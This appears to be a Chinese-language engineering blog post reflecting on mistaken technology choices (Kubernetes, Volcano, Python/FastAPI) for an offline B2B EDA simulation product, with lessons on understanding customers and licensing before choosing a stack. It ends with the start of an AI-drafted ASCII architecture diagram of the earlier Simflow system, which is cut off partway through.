&lt;p&gt;思考这个问题时，必须注意到：EDA 和 AI 训练存在相当大的大区别，因此 EDA 的调度问题也绝不能直接照搬 AI 训练的经验。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;EDA 是 IO 和 CPU 密集型的任务，AI 训练是 GPU 密集型任务。&lt;/li&gt;
&lt;li&gt;EDA 是多阶段，多周期的任务，存在复杂的状态和织成网一样的流程，而 AI 训练的状态相对简单，是线性的。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时不得不明确，在这一个层级，我们只希望使用到计算资源的调度分配，而不希望让它负责任务流的编排。因为在用户友好的前提下，它们很难满足条件。在资源调度上，似乎 Volcano 是最符合需求的。&lt;/p&gt;
&lt;p&gt;那么，选择了云原生架构下的计算资源调度器 Volcano。&lt;/p&gt;
&lt;p&gt;其次，我们需要让用户可以写自定义的任务脚本作为“模板”，那么就需要一个 SDK，用 Python 实现 SDK 是合适的。&lt;/p&gt;
&lt;p&gt;其次因为还想着从 Simflow 重构，想着也许大概可能会想参考到一些 Simflow 的任务流逻辑等等的代码，加上之前自己写 Python 多一点，也许用 Python 的话说不定实现起来会快很多，并且我们的重点计算负载也不会在后端服务上，不会有很高的并发需求。于是准备继续用 Python 实现后端。在 Python 方面，框架用 FastAPI。ORM 会选择 SQLAlchemy，以及其他的微服务基建设施。&lt;/p&gt;
&lt;p&gt;目前为止，一切看上去都非常合理，对不对？&lt;/p&gt;
&lt;h2 id="换个视角技术选型截然不同"&gt;换个视角，技术选型截然不同
&lt;/h2&gt;&lt;p&gt;我们回顾一下上面的 Then and Now:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Then&lt;/th&gt;
&lt;th&gt;Now&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 分布式&lt;/td&gt;
&lt;td&gt;1. 客户群体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 容器化&lt;/td&gt;
&lt;td&gt;2. 解决方案&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 模板化&lt;/td&gt;
&lt;td&gt;3. 计费形式&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一年之前，由于团队沟通上的失败，产品经验的缺乏，以及大家都是偏向技术思维，共同导致我们完完全全只注意到了产品理解三要点中，第二点的部分内容，&lt;strong&gt;甚至没有排除掉不合理的技术需求&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;现在我们已经知道了我们到底要问清楚哪些事情，一条条来看，就会清楚上面的技术选型错在哪里。&lt;/p&gt;
&lt;h3 id="客户群体"&gt;客户群体
&lt;/h3&gt;&lt;p&gt;现在的 Veno 如果接手该项目，首先会尝试询问并了解这个项目的客户都是什么人。得知：&lt;/p&gt;
&lt;p&gt;我们会把产品卖给硬件公司，而硬件公司的那帮硬件工程师相当缺乏软件工程素养。他们在软件上是技术白痴，认为一旦出现了浏览器和网页就意味着需要联网，不知道 IP 是个什么东西，更不能指望他们写配置文件，系统服务等等。&lt;/p&gt;
&lt;p&gt;并且硬件工程师由于各种软件的缘故，他们必须在非常老旧的 Linux 发行版上完成大部分工作，例如 CentOS 7/8，RHEL 8。&lt;/p&gt;
&lt;p&gt;用户大概率无法连接公网，只能在企业内网中工作，保密级别高。&lt;/p&gt;
&lt;h3 id="解决方案"&gt;解决方案
&lt;/h3&gt;&lt;p&gt;这是相对来讲很难沟通的一点，对产品经理的要求更高。产品经理需要有很强的明确产品需求的能力以及目标拆解的能力，这一点我打算放在后续的团队沟通章节里细讲，这里我直接非常粗略地讲一下。&lt;/p&gt;
&lt;p&gt;可以这样考虑：现在的行业中产生了什么痛点，我们的产品可以怎样解决痛点。对于 Paramer 这个产品，真正的想法如下。&lt;/p&gt;
&lt;p&gt;行业的痛点是这样的：EDA 软件各家独大，却又在整个仿真流程各个步骤中各自不可或缺。仿真的结果数据体积庞大（因为是 EDA 项目文件），许多仿真结果难以持久化，难以查询。整个仿真流程耗费相当算力，却又不得不经常对相同的输入完全重算。&lt;/p&gt;
&lt;p&gt;我们提供的解决方案：通过 Template 这一概念，使得用户可以将复杂的仿真任务流程抽象为一个自定义的参数化的输入 X 输出 Y 的函数。任务脚本只需要定义一次便可使用多种多样的 X 进行计算，而自定义参数和格式的 X 和 Y 使得用户可以便捷地提取并记录庞大仿真结果文件中的关键数据，并对其进行处理。&lt;/p&gt;
&lt;p&gt;用户仿真的目的是检验在某一 X 输入下能否得到理想目标中的 Y。由于参数化的特性，用户甚至可以对 Y 应用数学原理，使用各类优化算法，使用尽可能少的仿真次数，就能找到目标 Y 所对应的 X，这将大大降低人力成本。&lt;/p&gt;
&lt;h3 id="计费方式"&gt;计费方式
&lt;/h3&gt;&lt;p&gt;现在的 Veno 又继续沟通，得知了这一软件会是一个 B 端产品。To B / To C 产品的本质区别不太能直接简单说成面向组织/面向个人，或许应当单独放一个文章讲。总之，大概会有这样的特性：付费者，使用者，决策者相互分离，需要定制，生命周期长，收费是签合同，搞订阅。&lt;/p&gt;
&lt;p&gt;对于 Paramer，软件是订阅制的，并且产品单价相当高，软件本体一份预估卖到至少二十万以上甚至更多，如果附加 Feature 则继续加价。&lt;/p&gt;
&lt;h3 id="初始的技术选型步步错"&gt;初始的技术选型，步步错
&lt;/h3&gt;&lt;p&gt;B 端产品，用户技术白痴，平台限制 Linux，系统老旧，无法联公网。那么我们不可能是一个 SaaS 产品，不可能云原生，更不可能指望客户运维 k8s。好了，volcano 以及一切的微服务相关技术栈被立刻排除。&lt;/p&gt;
&lt;p&gt;系统老旧，部署越便捷越好。要么需要将软件容器化，虚拟机镜像，要么是在兼容老系统的容器中编译的 standalone 应用。&lt;/p&gt;
&lt;p&gt;计费方式，由于软件的单价很高，破解的成本必须大于购买成本，License 的强度成为了重中之重。甚至说 License 的考虑优先级必须被排在首位，远高于运行效率等问题。那么 Python 显然必须要被干掉，&lt;/p&gt;
&lt;p&gt;又因为我们是离线不联网的环境，所有的 License 工作不会存在网安，只会存在反逆向。那么实际上应当调研各个编程语言对应最强的加密手段如何，避免开发之后再亡羊补牢。事实上，由于我们没有在开发初期就考虑 License 问题，直接导致了后续的灾难。&lt;/p&gt;
&lt;p&gt;讲到这里，之前的技术选型已经全部死完了。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;回头看这一段黑历史，最大的教训是，在没有搞清楚产品是什么之前，就开始做技术选型。&lt;/p&gt;
&lt;p&gt;我想在这里再次回顾一下上面的 Then and Now:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Then&lt;/th&gt;
&lt;th&gt;Now&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 分布式&lt;/td&gt;
&lt;td&gt;1. 客户群体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 容器化&lt;/td&gt;
&lt;td&gt;2. 解决方案&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 模板化&lt;/td&gt;
&lt;td&gt;3. 计费形式&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;当时的思考路径是这样的：&lt;/p&gt;
&lt;p&gt;听到“分布式” → Kubernetes
听到“计算调度” → Volcano / Kubeflow
听到“模板” → Python SDK
想快速做出原型 → FastAPI + SQLAlchemy&lt;/p&gt;
&lt;p&gt;这一整套推理链条没有逻辑错误，我甚至觉得是标准答案。重要的是，先前的关注点走在了错误的抽象层级上，直接跳跃到了技术实现阶段，这导致把一些技术方向和真实需求混为一谈。但技术往往是最后才需要优化的东西，尤其是 To B 的场景中。&lt;/p&gt;
&lt;p&gt;从来都不应该默认技术方向是需求的一部分。因为：&lt;/p&gt;
&lt;p&gt;技术并不是为技术本身服务的，是为需求服务的，而需求需要被质疑。&lt;/p&gt;
&lt;p&gt;想要分布式，那后端本身真的需要分布式吗？需要容器化，客户真的能用吗？当这些问题没有被反问时，它们就会以理所当然的形式进入系统设计，然后变成架构的基石。一旦基石错了，后面所有设计都只能是在错误的毛坯上精装修。人话，堆屎山。&lt;/p&gt;
&lt;p&gt;所以才会有这样的说法：一旦一个人太过沉迷技术，那么他就不适合做领导者。&lt;/p&gt;
&lt;p&gt;错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。这一条因果链会逐渐放大上一个环节的错误，等你发现问题的时候，已经不是改一改能解决的了，必须推倒重来。&lt;/p&gt;
&lt;h2 id="ai-提供的-simflow-代码结构未经检查仅供参考"&gt;AI 提供的 Simflow 代码结构（未经检查，仅供参考）
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+-----------------------------------------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;USER&lt;/span&gt; &lt;span class="n"&gt;BROWSER&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------------------+--------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;WebSocket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+------------------------------------------------------------------+------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;FRONTEND&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;React&lt;/span&gt; &lt;span class="n"&gt;App&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimflowFrontend&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;SimflowDeploy&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+--------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Monitor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Simdetails&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+--------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Redux&lt;/span&gt; &lt;span class="n"&gt;Store&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;axiosfun&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;API&lt;/span&gt; &lt;span class="n"&gt;calls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------------------+---------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;WebSocket&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------------------&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="o"&gt;-------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;BACKEND&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;simflow_server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aiohttp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IPv6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;SIMFLOW_PORT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-------------------------------+-----------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;REST&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt; &lt;span class="n"&gt;Routes&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;WebSocket&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;initiate_simulation&lt;/span&gt; &lt;span class="o"&gt;+-----------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;update_simulation&lt;/span&gt; &lt;span class="n"&gt;handle_message&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;stop_simulation&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PCellManager&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;download_simulation&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;delete_simulation_&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;db_query_all&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
